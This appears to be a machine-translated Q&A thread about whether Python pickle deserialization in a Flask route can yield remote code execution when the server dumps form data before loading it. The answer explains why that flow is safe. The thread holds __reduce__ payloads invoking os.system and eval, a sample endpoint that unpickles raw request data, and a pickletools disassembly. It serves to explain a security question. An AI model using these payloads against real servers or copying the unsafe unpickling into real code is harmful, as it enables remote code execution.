如果服务器在 pickle.loads 之前调用 pickle.dumps,RCE 有什么办法吗?

If a server calls pickle.dumps before pickle.loads is there any way for RCE?

免责声明:此问题非恶意提问!!我正在使用自己的虚拟机!

文章 here 演示了加载不受信任的 pickle 数据如何导致远程代码执行,我正在研究在没有安全问题的情况下使用此工作流的方法。

我的问题如下 - 如果我这样做使得 webapp 在 Flask 中收到请求,在 request.form 上使用 pickle.dumps(),然后在什么上使用 pickle.loads()以前被转储过,还有办法执行恶意代码吗?

示例服务器代码:

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

此工作流程是否仍然存在漏洞?根据我的理解,当 b64 字符串被传递并由 pickle.loads() 解释时,最常见的 pickle 漏洞利用类型。但是,如果在 pickle.loads() 之前在表单上调用 pickle.dumps() 是否有可能获得相同的结果?

我已经尝试了几件事,但没有成功。如果您知道密码,请告诉我:)

这是来自 the same article

的恶意用户代码示例
    import pickle
    import base64
    import os
    
    
    class RCE:
        def __reduce__(self):
            cmd = ('echo EXECUTED THIS STATEMENT')
            return os.system, (cmd,)
    
    
    if __name__ == '__main__':
        pickled = pickle.dumps(RCE())
        print(base64.urlsafe_b64encode(pickled))
        # Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
        # I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side

那将 return 一个 base64 字符串,当被 pickle.loads() 解释时,将执行 cmd.

中的代码

但是如何在请求中传递 RCE() 的结果,以便它可以在 [=20] 之前被服务器端的 pickle.dumps() 转储=] 并且仍然执行恶意代码?

示例(此代码不起作用):

客户代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test=pickle.dumps(request.form) 
    test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

示例(此代码有效):

客户代码

class RCE:
    def __reduce__(self):
        cmd = ('echo EXECUTED THIS STATEMENT')
        return os.system, (cmd, )

data = {
    'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)

服务器端代码

@blueprint.route('/test', methods=['GET', 'POST'])
def test():
    test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
    return ...

我的想法如下,是否可以有一个字符串,当在服务器端由 pickle.dumps() 序列化时,return 的值与 pickle.dumps(RCE()) 相同在客户端执行。当然,由于 request.form 方面的原因,服务器端 pickle.dumps() 的结果会有所不同。据我了解,只要字符串中有可执行代码,pickle.loads()就会执行。

不,服务器无法通过转储然后加载来执行远程代码,但您也无法加载 pickled 数据结构。

我将使用 pickletools.dis 来演示实际会发生什么:

import pickle
import pickletools
class RCE:
    def __reduce__(self):
        return eval, ("print('MALICIOUS PYTHON CODE HERE')",)

pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))

pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)

加载恶意代码时,我们加载函数 evalos.system 以及参数,然后 REDUCE 操作代码运行该函数:

what is executed when loading malicious pickle:
    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins eval'
   17: q    BINPUT     0
   19: X    BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
   59: q    BINPUT     1
   61: \x85 TUPLE1
   62: q    BINPUT     2
   64: R    REDUCE
   65: q    BINPUT     3
   67: .    STOP

pickled 恶意代码本身虽然只是一个字节对象,

pickle is type: <class 'bytes'>

所以如果你转储加载将只加载一个文字字节对象(或者如果你正在进行 base64 编码,则可能是字符串,但无论哪种方式,此时它只是一个文字)

what is executed when loading the dump of malicious
    0: \x80 PROTO      3
    2: C    SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
   72: q    BINPUT     0
   74: .    STOP
highest protocol among opcodes = 3

这意味着如果服务器只是在输入中调用 pickle.dumps(这是一个包含 pickle 数据的 base64 数据字符串或字节数据,无论哪种方式,它在转储时都只是一个文字值)然后当它对该结果调用 pickle.loads 它将返回原始输入。

任何将用户输入解释为 pickle 数据的场景都是易受攻击的——但你在这里没有这样做——你是从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。